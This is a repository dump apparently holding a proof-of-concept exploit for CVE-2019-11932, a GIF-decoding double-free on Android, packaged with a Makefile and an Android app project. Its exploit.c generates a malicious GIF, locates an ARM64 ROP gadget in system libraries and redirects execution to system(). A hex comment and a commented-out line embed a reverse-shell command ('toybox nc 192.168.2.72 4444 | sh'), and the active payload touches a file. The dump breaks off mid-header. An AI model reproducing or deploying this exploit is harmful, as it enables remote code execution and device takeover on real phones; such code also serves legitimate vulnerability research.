Repository: awakened1712/CVE-2019-11932 Branch: master Commit: e5f6012ce0b4 Files: 31 Total size: 92.5 KB Directory structure: gitextract_n9riwh0t/ ├── Makefile ├── MyApplication2/ │ ├── MyApplication2.iml │ ├── app/ │ │ ├── CMakeLists.txt │ │ ├── app.iml │ │ ├── build.gradle │ │ ├── proguard-rules.pro │ │ └── src/ │ │ └── main/ │ │ ├── AndroidManifest.xml │ │ ├── cpp/ │ │ │ └── gif/ │ │ │ ├── egif_lib.c │ │ │ ├── exploit.c │ │ │ └── gif_lib.h │ │ ├── java/ │ │ │ └── com/ │ │ │ └── example/ │ │ │ └── myapplication/ │ │ │ └── MainActivity.java │ │ └── res/ │ │ ├── drawable/ │ │ │ └── ic_launcher_background.xml │ │ ├── drawable-v24/ │ │ │ └── ic_launcher_foreground.xml │ │ ├── layout/ │ │ │ └── activity_main.xml │ │ ├── mipmap-anydpi-v26/ │ │ │ ├── ic_launcher.xml │ │ │ └── ic_launcher_round.xml │ │ └── values/ │ │ ├── colors.xml │ │ ├── strings.xml │ │ └── styles.xml │ ├── build.gradle │ ├── gradle/ │ │ └── wrapper/ │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties │ ├── gradle.properties │ ├── gradlew │ ├── gradlew.bat │ ├── local.properties │ └── settings.gradle ├── README.md ├── egif_lib.c ├── exploit.c └── gif_lib.h ================================================ FILE CONTENTS ================================================ ================================================ FILE: Makefile ================================================ all: gcc -o exploit egif_lib.c exploit.c ================================================ FILE: MyApplication2/MyApplication2.iml ================================================ ================================================ FILE: MyApplication2/app/CMakeLists.txt ================================================ cmake_minimum_required(VERSION 3.4.1) #SET (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -O0 -g -fsanitize=address -fno-omit-frame-pointer") #SET (CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -O0 -g -fsanitize=address -fno-omit-frame-pointer") #SET (CMAKE_SHARED_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} -fsanitize=address") set(CMAKE_VERBOSE_MAKEFILE on) # gif set(SOURCES) file(GLOB_RECURSE SOURCES src/main/cpp/gif/*.c) add_library(pl_droidsonroids_gif SHARED ${SOURCES}) set(LIBS) list(APPEND LIBS jnigraphics android GLESv2 log ) target_link_libraries(pl_droidsonroids_gif ${LIBS}) ================================================ FILE: MyApplication2/app/app.iml ================================================ ================================================ FILE: MyApplication2/app/build.gradle ================================================ apply plugin: 'com.android.application' android { compileSdkVersion 28 defaultConfig { applicationId "com.example.myapplication" minSdkVersion 23 targetSdkVersion 28 versionCode 1 versionName "1.0" testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" externalNativeBuild { cmake { // abiFilters "armeabi-v7a" abiFilters "arm64-v8a" } } } sourceSets { main { // let gradle pack the shared library into apk jniLibs.srcDirs = ['libs'] } } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' } } externalNativeBuild { cmake { path "CMakeLists.txt" } } } dependencies { implementation fileTree(dir: 'libs', include: ['*.jar']) implementation 'com.android.support:appcompat-v7:28.0.0-rc01' implementation 'com.android.support.constraint:constraint-layout:1.1.2' testImplementation 'junit:junit:4.12' androidTestImplementation 'com.android.support.test:runner:1.0.2' androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2' } ================================================ FILE: MyApplication2/app/proguard-rules.pro ================================================ # Add project specific ProGuard rules here. # You can control the set of applied configuration files using the # proguardFiles setting in build.gradle. # # For more details, see # http://developer.android.com/guide/developing/tools/proguard.html # If your project uses WebView with JS, uncomment the following # and specify the fully qualified class name to the JavaScript interface # class: #-keepclassmembers class fqcn.of.javascript.interface.for.webview { # public *; #} # Uncomment this to preserve the line number information for # debugging stack traces. #-keepattributes SourceFile,LineNumberTable # If you keep the line number information, uncomment this to # hide the original source file name. #-renamesourcefileattribute SourceFile ================================================ FILE: MyApplication2/app/src/main/AndroidManifest.xml ================================================ ================================================ FILE: MyApplication2/app/src/main/cpp/gif/egif_lib.c ================================================ #include #include #include #include "gif_lib.h" static int EGifBufferedOutput(GifFilePrivateType *Private, int c) { Private->Buf[0] = 0; Private->Buf[++(Private->Buf[0])] = c; Private->OutBuf[Private->OutBufLen++] = c; return GIF_OK; } static int EGifCompressOutput(GifFilePrivateType *Private, const int Code) { int retval = GIF_OK; if (Code == FLUSH_OUTPUT) { while (Private->CrntShiftState > 0) { /* Get Rid of what is left in DWord, and flush it. */ if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR) retval = GIF_ERROR; Private->CrntShiftDWord >>= 8; Private->CrntShiftState -= 8; } Private->CrntShiftState = 0; /* For next time. */ if (EGifBufferedOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) retval = GIF_ERROR; } else { Private->CrntShiftDWord |= ((long)Code) << Private->CrntShiftState; Private->CrntShiftState += Private->RunningBits; while (Private->CrntShiftState >= 8) { /* Dump out full bytes: */ if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR) retval = GIF_ERROR; Private->CrntShiftDWord >>= 8; Private->CrntShiftState -= 8; } } /* If code cannt fit into RunningBits bits, must raise its size. Note */ /* however that codes above 4095 are used for special signaling. */ if (Private->RunningCode >= Private->MaxCode1 && Code <= 4095) { Private->MaxCode1 = 1 << ++Private->RunningBits; } return retval; } int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen) { int i = 0, CrntCode, NewCode; unsigned long NewKey; GifPixelType Pixel; if (Private->CrntCode == FIRST_CODE) /* Its first time! */ CrntCode = Line[i++]; else CrntCode = Private->CrntCode; /* Get last code in compression. */ while (i < LineLen) { /* Decode LineLen items. */ Pixel = Line[i++]; /* Get next pixel from stream. */ if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) { return GIF_ERROR; } CrntCode = Pixel; /* If however the HashTable if full, we send a clear first and * Clear the hash table. */ if (Private->RunningCode >= LZ_MAX_CODE) { /* Time to do some clearance: */ if (EGifCompressOutput(Private, Private->ClearCode) == GIF_ERROR) { return GIF_ERROR; } Private->RunningCode = Private->EOFCode + 1; Private->RunningBits = Private->BitsPerPixel + 1; Private->MaxCode1 = 1 << Private->RunningBits; } } /* Preserve the current state of the compression algorithm: */ Private->CrntCode = CrntCode; if (Private->PixelCount == 0) { /* We are done - output last Code and flush output buffers: */ if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) { return GIF_ERROR; } if (EGifCompressOutput(Private, Private->EOFCode) == GIF_ERROR) { return GIF_ERROR; } if (EGifCompressOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) { return GIF_ERROR; } } return GIF_OK; } ================================================ FILE: MyApplication2/app/src/main/cpp/gif/exploit.c ================================================ #include "gif_lib.h" #include #include static jbyteArray NewJavaByteArray(JNIEnv* env, unsigned char *src, int size) { jbyteArray retVal = (*env)->NewByteArray(env, size); jbyte *buf = (*env)->GetByteArrayElements(env, retVal, NULL); memcpy(buf, src, size); (*env)->ReleaseByteArrayElements(env, retVal, buf, 0); return retVal; } #define ONE_BYTE_HEX_STRING_SIZE 3 static void get_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) { int i; unsigned int byte_no = 0; if (buf_len <= 0) { if (hex_len > 0) { hex_[0] = '\0'; } return; } if(hex_len < ONE_BYTE_HEX_STRING_SIZE + 1) return; do { for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i ) { snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff); hex_ += ONE_BYTE_HEX_STRING_SIZE; hex_len -=ONE_BYTE_HEX_STRING_SIZE; buf_len--; } if (buf_len > 1) { snprintf(hex_, hex_len, "\n"); hex_ += 1; } } while ((buf_len) > 0 && (hex_len > 0)); } static size_t find_gadget(const char *libs[], int n, unsigned char *pattern, int size, int align) { FILE *fp; char path[1035]; fp = fopen("/proc/self/maps", "r"); if (fp == NULL) { LOGE("Unable to open /proc/self/maps"); exit(0); } while (fgets(path, sizeof(path)-1, fp) != NULL) { for (int i = 0; i < n; i++) { if (strstr(path, libs[i])) { if (strstr(path, "r-xp") || strstr(path, "rwxp")) { size_t start, end; sscanf(path, "%llx-%llx %*s", &start, &end); size_t loc = 0; while (start + size <= end) { loc = memmem(start, end-start, pattern, size); if (loc == 0) break; if (loc%align == 0) { char hex_dump[5000]; get_hex(pattern, size, hex_dump, 5000, 16); LOGE("gadget = %s size = %d found in \n%s", hex_dump, size, path); return loc; } start = loc + 1; } } } } } return 0; } int genLine_0(unsigned char *buffer) { /* 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. Over-write AAAAAAAA with address of gadget 1 Over-write BBBBBBBB with address of system() function Gadget 1 ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ unsigned char hexData[138] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF }; memcpy(buffer, hexData, sizeof(hexData)); // find gadget 1 const char *libs[] = { "/system/framework/arm64/boot.oat", "/system/framework/arm64/boot-core-libart.oat", "/system/framework/arm64/boot-conscrypt.oat", "/system/framework/arm64/boot-okhttp.oat", "/system/framework/arm64/boot-bouncycastle.oat", "/system/framework/arm64/boot-apache-xml.oat", "/system/framework/arm64/boot-legacy-test.oat", "/system/framework/arm64/boot-ext.oat", "/system/framework/arm64/boot-framework.oat", "/system/framework/arm64/boot-telephony-common.oat", "/system/framework/arm64/boot-voip-common.oat", "/system/framework/arm64/boot-ims-common.oat", "/system/framework/arm64/boot-org.apache.http.legacy.boot.oat", "/system/framework/arm64/boot-android.hidl.base-V1.0-java.oat", "/system/framework/arm64/boot-android.hidl.manager-V1.0-java.oat", "/system/framework/arm64/boot-com.google.vr.platform.oat", "/system/bin/app_process64", "/system/lib64/libwebviewchromium_loader.so", "/system/lib64/libcompiler_rt.so", "/system/lib64/vndk-sp/libhidltransport.so", "/vendor/lib64/hw/android.hardware.graphics.mapper@2.0-impl.so", "/system/lib64/vndk-sp/libcutils.so", "/system/lib64/vndk-sp/libhidlbase.so", "/system/lib64/vndk-sp/libunwind.so", "/system/lib64/vndk-sp/android.hardware.graphics.mapper@2.0.so", "/system/lib64/vndk-sp/libbase.so", "/system/lib64/vndk-sp/libc++.so", "/system/lib64/vndk-sp/libhardware.so", "/system/lib64/vndk-sp/libbacktrace.so", "/system/lib64/vndk-sp/libhwbinder.so", "/system/lib64/vndk-sp/liblzma.so", "/system/lib64/vndk-sp/libutils.so", "/system/lib64/vndk-sp/android.hardware.graphics.common@1.0.so", "/system/lib64/libjavacrypto.so", "/system/lib64/libsoundpool.so", "/system/lib64/libvixl-arm.so", "/system/lib64/libvixl-arm64.so", "/system/lib64/libart-dexlayout.so", "/system/lib64/libart-compiler.so", "/system/lib64/libssl.so", "/system/lib64/libopenjdk.so", "/system/lib64/libopenjdkjvm.so", "/system/lib64/libjavacore.so", "/system/lib64/libwebviewchromium_plat_support.so", "/system/lib64/android.hardware.renderscript@1.0.so", "/system/lib64/libRS.so", "/system/lib64/libOpenSLES.so", "/system/lib64/libOpenMAXAL.so", "/system/lib64/android.hardware.neuralnetworks@1.0.so", "/system/lib64/libtextclassifier_hash.so", "/system/lib64/libneuralnetworks.so", "/system/lib64/libjnigraphics.so", "/system/lib64/libGLESv3.so", "/system/lib64/libmedia_jni.so", "/system/lib64/libmediandk.so", "/system/lib64/libmtp.so", "/system/lib64/libcamera2ndk.so", "/system/lib64/libmidi.so", "/system/lib64/libexif.so", "/system/lib64/libaaudio.so", "/system/lib64/libandroid.so", "/system/lib64/libtombstoned_client.so", "/system/lib64/liblz4.so", "/system/lib64/libart.so", "/system/lib64/libsigchain.so", "/system/lib64/libappfuse.so", "/system/lib64/android.hardware.cas@1.0.so", "/system/lib64/libhidlmemory.so", "/system/lib64/libvorbisidec.so", "/system/lib64/libui.so", "/system/lib64/libstagefright_foundation.so", "/system/lib64/libandroidfw.so", "/system/lib64/libmedia.so", "/system/lib64/libnativewindow.so", "/system/lib64/libcamera_client.so", "/system/lib64/libGLESv2.so", "/system/lib64/libpackagelistparser.so", "/system/lib64/libnativehelper.so", "/system/lib64/libgui.so", "/system/lib64/android.hidl.token@1.0-utils.so", "/system/lib64/libsonivox.so", "/system/lib64/libpowermanager.so", "/system/lib64/libmemunreachable.so", "/system/lib64/libdebuggerd_client.so", "/system/lib64/libnetd_client.so", "/system/lib64/libstagefright_http_support.so", "/system/lib64/libziparchive.so", "/system/lib64/libmediadrm.so", "/system/lib64/libprocessgroup.so", "/system/lib64/libutils.so", "/system/lib64/libminikin.so", "/system/lib64/libskia.so", "/system/lib64/libbacktrace.so", "/system/lib64/libandroid_runtime.so", "/system/lib64/libandroid_runtime.so", "/system/lib64/libc++.so", "/system/lib64/libc.so", "/system/lib64/libc.so", "/system/lib64/libc.so", "/system/lib64/libc.so", "/system/lib64/android.hardware.drm@1.0.so", "/system/lib64/libdl.so", "/system/lib64/libm.so", "/system/lib64/libpiex.so", "/system/lib64/libsqlite.so", "/system/lib64/android.hardware.media@1.0.so", "/system/lib64/libimg_utils.so", "/system/lib64/libunwind.so", "/system/lib64/libhwui.so", "/system/lib64/liblog.so", "/system/lib64/libgraphicsenv.so", "/system/lib64/libinput.so", "/system/lib64/libstagefright_flacdec.so", "/system/lib64/libEGL.so", "/system/lib64/libsensor.so", "/system/lib64/android.hardware.configstore-utils.so", "/system/lib64/libdng_sdk.so", "/system/lib64/android.hardware.graphics.common@1.0.so", "/system/lib64/libhidlbase.so", "/system/lib64/libstagefright.so", "/system/lib64/libjpeg.so", "/system/lib64/android.hardware.graphics.bufferqueue@1.0.so", "/system/lib64/libaudioutils.so", "/system/lib64/libGLESv1_CM.so", "/system/lib64/android.hardware.graphics.allocator@2.0.so", "/system/lib64/libvulkan.so", "/system/lib64/libprotobuf-cpp-lite.so", "/system/lib64/libharfbuzz_ng.so", "/system/lib64/libusbhost.so", "/system/lib64/libtinyxml2.so", "/system/lib64/libmemtrack.so", "/system/lib64/libvndksupport.so", "/system/lib64/libheif.so", "/system/lib64/android.hardware.memtrack@1.0.so", "/system/lib64/liblzma.so", "/system/lib64/libaudioclient.so", "/system/lib64/android.hidl.token@1.0.so", "/system/lib64/libstagefright_xmlparser.so", "/system/lib64/libnativeloader.so", "/system/lib64/libhwbinder.so", "/system/lib64/libicuuc.so", "/system/lib64/libnativebridge.so", "/system/lib64/libmedia_helper.so", "/system/lib64/libz.so", "/system/lib64/libmediametrics.so", "/system/lib64/libETC1.so", "/system/lib64/libstdc++.so", "/system/lib64/libpdfium.so", "/system/lib64/libvintf.so", "/system/lib64/libpcre2.so", "/system/lib64/libexpat.so", "/system/lib64/libcrypto.so", "/system/lib64/libhardware_legacy.so", "/system/lib64/libcamera_metadata.so", "/system/lib64/android.hardware.graphics.mapper@2.0.so", "/system/lib64/libcutils.so", "/system/lib64/libsync.so", "/system/lib64/libspeexresampler.so", "/system/lib64/libpng.so", "/system/lib64/libft2.so", "/system/lib64/android.hardware.cas.native@1.0.so", "/system/lib64/libsoundtrigger.so", "/system/lib64/libbinder.so", "/system/lib64/libaudiomanager.so", "/system/lib64/libhidltransport.so", "/system/lib64/android.hardware.media.omx@1.0.so", "/system/lib64/libmediautils.so", "/system/lib64/android.hidl.allocator@1.0.so", "/system/lib64/libwilhelm.so", "/system/lib64/libicui18n.so", "/system/lib64/libbase.so", "/system/lib64/libmedia_omx.so", "/system/lib64/android.hardware.configstore@1.0.so", "/system/lib64/libdrmframework.so", "/system/lib64/libselinux.so", "/system/lib64/libstagefright_omx_utils.so", "/system/lib64/libhardware.so", "/system/lib64/libRScpp.so", "/system/lib64/android.hidl.memory@1.0.so", "/system/lib64/libclang_rt.ubsan_standalone-aarch64-android.so" }; int n = sizeof(libs)/sizeof(char*); unsigned char g1[12] = { 0x68, 0x0E, 0x40, 0xF9, // ldr x8, [x19, #0x18] 0x60, 0x82, 0x00, 0x91, // add x0, x19, #0x20 0x00, 0x01, 0x3F, 0xD6, // blr x8 }; size_t g1_loc = find_gadget(libs, n, g1, sizeof(g1), 4); if (g1_loc == 0) return 0; LOGE("g1_loc = %p", g1_loc); memcpy(buffer + 128, &g1_loc, 8); size_t system_loc = &system; LOGE("system_loc = %p", system_loc); memcpy(buffer + 24, &system_loc, 8); // char *command = "toybox nc 192.168.2.72 4444 | sh"; char *command = "touch /sdcard/test.txt"; memcpy(buffer + 32, command, strlen(command)); LOGE("== genLine_0 complete =="); return sizeof(hexData); }; JNIEXPORT jbyteArray JNICALL Java_com_example_myapplication_MainActivity_generateGif(JNIEnv *env, jobject thiz) { GifFilePrivateType Private = { .Buf[0] = 0, .BitsPerPixel = 8, .ClearCode = 256, .EOFCode = 257, .RunningCode = 258, .RunningBits = 9, .MaxCode1 = 512, .CrntCode = FIRST_CODE, .CrntShiftState = 0, .CrntShiftDWord = 0, .PixelCount = 112, .OutBuf = { 0 }, .OutBufLen = 0 }; unsigned char buffer[1000] = { 0 }; int size = 0; unsigned char line[500] = { 0 }; int line_size = genLine_0(line); EGifCompressLine(&Private, line, line_size); unsigned char starting[48] = { 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08 }; unsigned char padding[2] = { 0xFF, 0xFF }; unsigned char ending[61] = { 0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B }; // starting bytes memcpy(buffer + size, starting, sizeof(starting)); size += sizeof(starting); // size of encoded line + padding int tmp = Private.OutBufLen + sizeof(padding); buffer[size++] = tmp; // encoded-line bytes memcpy(buffer + size, Private.OutBuf, Private.OutBufLen); size += Private.OutBufLen; // padding bytes of 0xFFs to trigger info->rewind(info); memcpy(buffer + size, padding, sizeof(padding)); size += sizeof(padding); // ending bytes memcpy(buffer + size, ending, sizeof(ending)); size += sizeof(ending); char hex_dump[5000]; get_hex(buffer, size, hex_dump, 5000, 16); LOGE("buffer = %p size = %d\n%s", buffer, size, hex_dump); return NewJavaByteArray(env, buffer, size); } ================================================ FILE: MyApplication2/app/src/main/cpp/gif/gif_lib.h ================================================ /****************************************************************************** gif_lib.h - service library for decoding and encoding GIF images *****************************************************************************/ #ifndef _GIF_LIB_H_ #define _GIF_LIB_H_ 1 #define GIF_ERROR 0 #define GIF_OK 1 #include #include #include #define LOG_TAG "libgif" #define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,LOG_TAG,__VA_ARGS__) typedef signed char __int8_t; typedef unsigned char __uint8_t; typedef short __int16_t; typedef unsigned short __uint16_t; typedef int __int32_t; typedef unsigned int __uint32_t; #if defined(__LP64__) typedef long __int64_t; typedef unsigned long __uint64_t; #else typedef long long __int64_t; typedef unsigned long long __uint64_t; #endif #if defined(__LP64__) typedef long __intptr_t; typedef unsigned long __uintptr_t; #else typedef int __intptr_t; typedef unsigned int __uintptr_t; #endif typedef __int8_t int8_t; typedef __uint8_t uint8_t; typedef __int16_t int16_t; typedef __uint16_t uint16_t; typedef __int32_t int32_t; typedef __uint32_t uint32_t; typedef __int64_t int64_t; typedef __uint64_t uint64_t; typedef __intptr_t intptr_t; typedef __uintptr_t uintptr_t; typedef int8_t int_least8_t; typedef uint8_t uint_least8_t; typedef int16_t int_least16_t; typedef uint16_t uint_least16_t; typedef int32_t int_least32_t; typedef uint32_t uint_least32_t; typedef int64_t int_least64_t; typedef uint64_t uint_least64_t; typedef int8_t int_fast8_t; typedef uint8_t uint_fast8_t; typedef int64_t int_fast64_t; typedef uint64_t uint_fast64_t; #if defined(__LP64__) typedef int64_t int_fast16_t; typedef uint64_t uint_fast16_t; typedef int64_t int_fast32_t; typedef uint64_t uint_fast32_t; #else typedef int32_t int_fast16_t; typedef uint32_t uint_fast16_t; typedef int32_t int_fast32_t; typedef uint32_t uint_fast32_t; #endif #define GIF_STAMP "GIFVER" /* First chars in file - GIF stamp. */ #define GIF_STAMP_LEN sizeof(GIF_STAMP) - 1 #define GIF_VERSION_POS 3 /* Version first character in stamp. */ typedef unsigned char GifPixelType; typedef unsigned char GifByteType; typedef unsigned int GifPrefixType; typedef uint_fast16_t GifWord; typedef struct GifColorType { uint8_t Red, Green, Blue; } GifColorType; typedef struct ColorMapObject { uint_fast16_t ColorCount; uint_fast8_t BitsPerPixel; // bool SortFlag; GifColorType *Colors; /* on malloc(3) heap */ } ColorMapObject; typedef struct GifImageDesc { GifWord Left, Top, Width, Height; /* Current image dimensions. */ bool Interlace; /* Sequential/Interlaced lines. */ ColorMapObject *ColorMap; /* The local color map */ } GifImageDesc; //typedef struct ExtensionBlock { // int ByteCount; // GifByteType *Bytes; /* on malloc(3) heap */ // int Function; /* The block function code */ #define CONTINUE_EXT_FUNC_CODE 0x00 /* continuation subblock */ #define COMMENT_EXT_FUNC_CODE 0xfe /* comment */ #define GRAPHICS_EXT_FUNC_CODE 0xf9 /* graphics control (GIF89) */ #define PLAINTEXT_EXT_FUNC_CODE 0x01 /* plaintext */ #define APPLICATION_EXT_FUNC_CODE 0xff /* application block */ //} ExtensionBlock; typedef struct SavedImage { GifImageDesc ImageDesc; // GifByteType *RasterBits; /* on malloc(3) heap */ // int ExtensionBlockCount; /* Count of extensions before image */ // ExtensionBlock *ExtensionBlocks; /* Extensions before image */ } SavedImage; #define EXTENSION_INTRODUCER 0x21 #define DESCRIPTOR_INTRODUCER 0x2c #define TERMINATOR_INTRODUCER 0x3b #define LZ_MAX_CODE 4095 /* Biggest code possible in 12 bits. */ #define LZ_BITS 12 #define FLUSH_OUTPUT 4096 /* Impossible code, to signal flush. */ #define FIRST_CODE 4097 /* Impossible code, to signal first. */ #define NO_SUCH_CODE 4098 /* Impossible code, to signal empty. */ //#define FILE_STATE_WRITE 0x01 //#define FILE_STATE_SCREEN 0x02 //#define FILE_STATE_IMAGE 0x04 //#define FILE_STATE_READ 0x08 //#define IS_READABLE(Private) (Private->FileState & FILE_STATE_READ) struct GifFileType; /* func type to read gif data from arbitrary sources (TVT) */ typedef uint_fast8_t (*InputFunc)(struct GifFileType *, GifByteType *, uint_fast8_t); typedef struct GifFilePrivateType { GifWord //FileState, /*FileHandle,*/ /* Where all this data goes to! */ BitsPerPixel, /* Bits per pixel (Codes uses at least this + 1). */ ClearCode, /* The CLEAR LZ code. */ EOFCode, /* The EOF LZ code. */ RunningCode, /* The next code algorithm can generate. */ RunningBits, /* The number of bits required to represent RunningCode. */ MaxCode1, /* 1 bigger than max. possible code, in RunningBits bits. */ LastCode, /* The code before the current code. */ CrntCode, /* Current algorithm code. */ StackPtr, /* For character stack (see below). */ CrntShiftState; /* Number of bits in CrntShiftDWord. */ unsigned long CrntShiftDWord; /* For bytes decomposition into codes. */ uint_fast32_t PixelCount; /* Number of pixels in image. */ // FILE *File; /* File as stream. */ InputFunc Read; /* function to read gif input (TVT) */ // OutputFunc Write; /* function to write gif output (MRB) */ GifByteType Buf[256]; unsigned char OutBuf[500]; int OutBufLen; /* Compressed input is buffered here. */ GifByteType Stack[LZ_MAX_CODE]; /* Decoded pixels are stacked here. */ GifByteType Suffix[LZ_MAX_CODE + 1]; /* So we can trace the codes. */ GifPrefixType Prefix[LZ_MAX_CODE + 1]; // bool gif89; } GifFilePrivateType; typedef struct GifFileType { GifWord SWidth, SHeight; /* Size of virtual canvas */ // GifWord SColorResolution; /* How many colors can we generate? */ GifWord SBackGroundColor; /* Background color for virtual canvas */ // GifByteType AspectByte; /* Used to compute pixel aspect ratio */ ColorMapObject *SColorMap; /* Global colormap, NULL if nonexistent. */ uint_fast32_t ImageCount; /* Number of current image (both APIs) */ GifImageDesc Image; /* Current image (low-level API) */ SavedImage *SavedImages; /* Image sequence (high-level API) */ // int ExtensionBlockCount; /* Count extensions past last image */ // ExtensionBlock *ExtensionBlocks; /* Extensions past last image */ int Error; /* Last error condition reported */ void *UserData; /* hook to attach user data (TVT) */ GifFilePrivateType *Private; /* Don't mess with this! */ } GifFileType; //#define GIF_ASPECT_RATIO(n) ((n)+15.0/64.0) typedef enum { UNDEFINED_RECORD_TYPE, SCREEN_DESC_RECORD_TYPE, IMAGE_DESC_RECORD_TYPE, /* Begin with ',' */ EXTENSION_RECORD_TYPE, /* Begin with '!' */ TERMINATE_RECORD_TYPE /* Begin with ';' */ } GifRecordType; /* func type to read gif data from arbitrary sources (TVT) */ typedef uint_fast8_t (*InputFunc)(GifFileType *, GifByteType *, uint_fast8_t); /****************************************************************************** GIF89 structures ******************************************************************************/ typedef struct GraphicsControlBlock { uint_fast8_t DisposalMode; #define DISPOSAL_UNSPECIFIED 0 /* No disposal specified. */ #define DISPOSE_DO_NOT 1 /* Leave image in place */ #define DISPOSE_BACKGROUND 2 /* Set area too background color */ #define DISPOSE_PREVIOUS 3 /* Restore to previous content */ // bool UserInputFlag; /* User confirmation required before disposal */ uint_fast32_t DelayTime; /* pre-display delay in 0.01sec units */ int TransparentColor; /* Palette index for transparency, -1 if none */ #define NO_TRANSPARENT_COLOR -1 } GraphicsControlBlock; /****************************************************************************** GIF decoding routines ******************************************************************************/ /* Main entry points */ GifFileType *DGifOpen(void *userPtr, InputFunc readFunc, int *Error); /* new one (TVT) */ int DGifCloseFile(GifFileType *GifFile); #define D_GIF_ERR_OPEN_FAILED 101 /* And DGif possible errors. */ #define D_GIF_ERR_READ_FAILED 102 #define D_GIF_ERR_NOT_GIF_FILE 103 #define D_GIF_ERR_NO_SCRN_DSCR 104 #define D_GIF_ERR_NO_IMAG_DSCR 105 #define D_GIF_ERR_NO_COLOR_MAP 106 #define D_GIF_ERR_WRONG_RECORD 107 #define D_GIF_ERR_DATA_TOO_BIG 108 #define D_GIF_ERR_NOT_ENOUGH_MEM 109 #define D_GIF_ERR_CLOSE_FAILED 110 #define D_GIF_ERR_NOT_READABLE 111 #define D_GIF_ERR_IMAGE_DEFECT 112 #define D_GIF_ERR_EOF_TOO_SOON 113 #define E_GIF_SUCCEEDED 0 #define E_GIF_ERR_OPEN_FAILED 1 /* And EGif possible errors. */ #define E_GIF_ERR_WRITE_FAILED 2 #define E_GIF_ERR_HAS_SCRN_DSCR 3 #define E_GIF_ERR_HAS_IMAG_DSCR 4 #define E_GIF_ERR_NO_COLOR_MAP 5 #define E_GIF_ERR_DATA_TOO_BIG 6 #define E_GIF_ERR_NOT_ENOUGH_MEM 7 #define E_GIF_ERR_DISK_IS_FULL 8 #define E_GIF_ERR_CLOSE_FAILED 9 #define E_GIF_ERR_NOT_WRITEABLE 10 /* These are legacy. You probably do not want to call them directly */ int DGifGetScreenDesc(GifFileType *GifFile); int DGifGetRecordType(GifFileType *GifFile, GifRecordType *GifType); int DGifGetImageDesc(GifFileType *GifFile, bool changeImageCount); int DGifGetLine(GifFileType *GifFile, GifPixelType *GifLine, uint_fast32_t GifLineLen); int DGifGetExtension(GifFileType *GifFile, int *GifExtCode, GifByteType **GifExtension); int DGifGetExtensionNext(GifFileType *GifFile, GifByteType **GifExtension); int DGifGetCodeNext(GifFileType *GifFile, GifByteType **GifCodeBlock); int EGifCompressLine(GifFilePrivateType 